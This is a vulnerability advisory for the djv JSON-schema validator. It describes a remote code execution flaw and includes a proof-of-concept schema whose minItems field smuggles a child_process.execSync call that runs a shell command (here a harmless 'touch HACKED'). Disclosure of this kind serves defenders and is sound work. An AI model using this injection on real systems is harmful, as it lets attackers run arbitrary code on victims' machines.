Overview

djv is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });
